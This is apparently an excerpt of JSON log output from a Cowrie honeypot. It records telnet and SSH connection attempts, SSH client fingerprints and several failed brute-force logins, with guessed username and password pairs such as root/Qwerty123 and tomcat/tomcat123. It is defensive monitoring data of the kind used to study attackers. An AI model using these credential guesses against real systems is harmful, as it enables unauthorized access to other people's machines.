{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53234,"dst_ip":"10.17.0.5","dst_port":23,"session":"949588bc66d0","protocol":"telnet","message":"New connection: 152.42.224.71:53234 (10.17.0.5:23) [session: 949588bc66d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:00.801767Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53248,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbdf07726ff0","protocol":"telnet","message":"New connection: 152.42.224.71:53248 (10.17.0.5:23) [session: bbdf07726ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:02.356640Z"}
{"eventid":"cowrie.session.closed","duration":41.757437229156494,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:02.645409Z","src_ip":"152.42.224.71","session":"e3c32cd5db11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47348,"dst_ip":"159.203.135.109","dst_port":22,"session":"b69c8d19612a","protocol":"ssh","message":"New connection: 31.40.204.166:47348 (159.203.135.109:22) [session: b69c8d19612a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:02.719855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:02.781946Z","src_ip":"31.40.204.166","session":"b69c8d19612a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:02.996224Z","src_ip":"31.40.204.166","session":"b69c8d19612a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.71083307266235,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:03.626643Z","src_ip":"152.42.224.71","session":"fe11db4639ff","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:03.898798Z","src_ip":"31.40.204.166","session":"b69c8d19612a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:05.112594Z","src_ip":"31.40.204.166","session":"b69c8d19612a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.33470106124878,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:10.117147Z","src_ip":"152.42.224.71","session":"ff7f81165810","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.43471550941467,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:14.363877Z","src_ip":"152.42.224.71","session":"1202e05c2067","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47680,"dst_ip":"159.203.135.109","dst_port":22,"session":"617e03340ec7","protocol":"ssh","message":"New connection: 31.40.204.166:47680 (159.203.135.109:22) [session: 617e03340ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:15.187818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:15.223218Z","src_ip":"31.40.204.166","session":"617e03340ec7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:15.406563Z","src_ip":"31.40.204.166","session":"617e03340ec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.2146577835083,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:15.672707Z","src_ip":"152.42.224.71","session":"f7d0b222b0e1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:16.006749Z","src_ip":"31.40.204.166","session":"617e03340ec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57102,"dst_ip":"10.17.0.5","dst_port":23,"session":"3473e1563a2e","protocol":"telnet","message":"New connection: 152.42.224.71:57102 (10.17.0.5:23) [session: 3473e1563a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:16.037724Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:17.184963Z","src_ip":"31.40.204.166","session":"617e03340ec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.361390113830566,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:17.286084Z","src_ip":"152.42.224.71","session":"eb85097a19d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57118,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ff215b0f98f","protocol":"telnet","message":"New connection: 152.42.224.71:57118 (10.17.0.5:23) [session: 9ff215b0f98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:17.548174Z"}
{"eventid":"cowrie.session.closed","duration":47.88711094856262,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:18.425398Z","src_ip":"152.42.224.71","session":"4e1c1008da4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57128,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d60f7500284","protocol":"telnet","message":"New connection: 152.42.224.71:57128 (10.17.0.5:23) [session: 5d60f7500284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:18.578088Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57138,"dst_ip":"10.17.0.5","dst_port":23,"session":"12aae86cd0cf","protocol":"telnet","message":"New connection: 152.42.224.71:57138 (10.17.0.5:23) [session: 12aae86cd0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:20.251858Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":47858,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d24366fa6a9","protocol":"ssh","message":"New connection: 109.172.54.111:47858 (10.17.0.5:22) [session: 8d24366fa6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:20.876683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:20.880975Z","src_ip":"109.172.54.111","session":"8d24366fa6a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:20.976054Z","src_ip":"109.172.54.111","session":"8d24366fa6a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arsenal","message":"login attempt [root/arsenal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:21.391448Z","src_ip":"109.172.54.111","session":"8d24366fa6a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.64006209373474,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:21.990173Z","src_ip":"152.42.224.71","session":"1ca86c0d0ba9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:22.488965Z","src_ip":"109.172.54.111","session":"8d24366fa6a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43742,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e3f2642f610","protocol":"telnet","message":"New connection: 152.42.224.71:43742 (10.17.0.5:23) [session: 7e3f2642f610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:26.053504Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60562,"dst_ip":"159.203.135.109","dst_port":22,"session":"c514631684c6","protocol":"ssh","message":"New connection: 31.40.204.166:60562 (159.203.135.109:22) [session: c514631684c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:27.284518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:27.289313Z","src_ip":"31.40.204.166","session":"c514631684c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:27.422966Z","src_ip":"31.40.204.166","session":"c514631684c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43748,"dst_ip":"10.17.0.5","dst_port":23,"session":"c31546de5f86","protocol":"telnet","message":"New connection: 152.42.224.71:43748 (10.17.0.5:23) [session: c31546de5f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:27.618291Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43750,"dst_ip":"10.17.0.5","dst_port":23,"session":"819d926415b6","protocol":"telnet","message":"New connection: 152.42.224.71:43750 (10.17.0.5:23) [session: 819d926415b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:27.787744Z"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:27.887056Z","src_ip":"31.40.204.166","session":"c514631684c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:29.019729Z","src_ip":"31.40.204.166","session":"c514631684c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43758,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6795adba36e","protocol":"telnet","message":"New connection: 152.42.224.71:43758 (10.17.0.5:23) [session: a6795adba36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:29.409443Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43772,"dst_ip":"10.17.0.5","dst_port":23,"session":"266c5a14146e","protocol":"telnet","message":"New connection: 152.42.224.71:43772 (10.17.0.5:23) [session: 266c5a14146e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:34.786973Z"}
{"eventid":"cowrie.session.closed","duration":42.69993853569031,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:38.392214Z","src_ip":"152.42.224.71","session":"47efc29e92bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52326,"dst_ip":"159.203.135.109","dst_port":22,"session":"b046445840d1","protocol":"ssh","message":"New connection: 31.40.204.166:52326 (159.203.135.109:22) [session: b046445840d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:38.682148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:38.694481Z","src_ip":"31.40.204.166","session":"b046445840d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:38.807855Z","src_ip":"31.40.204.166","session":"b046445840d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:39.488267Z","src_ip":"31.40.204.166","session":"b046445840d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:40.704071Z","src_ip":"31.40.204.166","session":"b046445840d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00149822235107,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:41.050202Z","src_ip":"152.42.224.71","session":"2d1bc841ed43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57194,"dst_ip":"10.17.0.5","dst_port":23,"session":"a98a503eba0c","protocol":"telnet","message":"New connection: 152.42.224.71:57194 (10.17.0.5:23) [session: a98a503eba0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:42.120890Z"}
{"eventid":"cowrie.session.closed","duration":27.399192094802856,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:43.436754Z","src_ip":"152.42.224.71","session":"3473e1563a2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.32955503463745,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:46.713023Z","src_ip":"152.42.224.71","session":"670313def563","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34926,"dst_ip":"10.17.0.5","dst_port":23,"session":"80f315c9442d","protocol":"telnet","message":"New connection: 152.42.224.71:34926 (10.17.0.5:23) [session: 80f315c9442d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:49.926202Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51276,"dst_ip":"159.203.135.109","dst_port":22,"session":"cde465807408","protocol":"ssh","message":"New connection: 31.40.204.166:51276 (159.203.135.109:22) [session: cde465807408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:50.385992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:50.495472Z","src_ip":"31.40.204.166","session":"cde465807408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:50.522266Z","src_ip":"31.40.204.166","session":"cde465807408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:51.187393Z","src_ip":"31.40.204.166","session":"cde465807408","protocol":"ssh"}
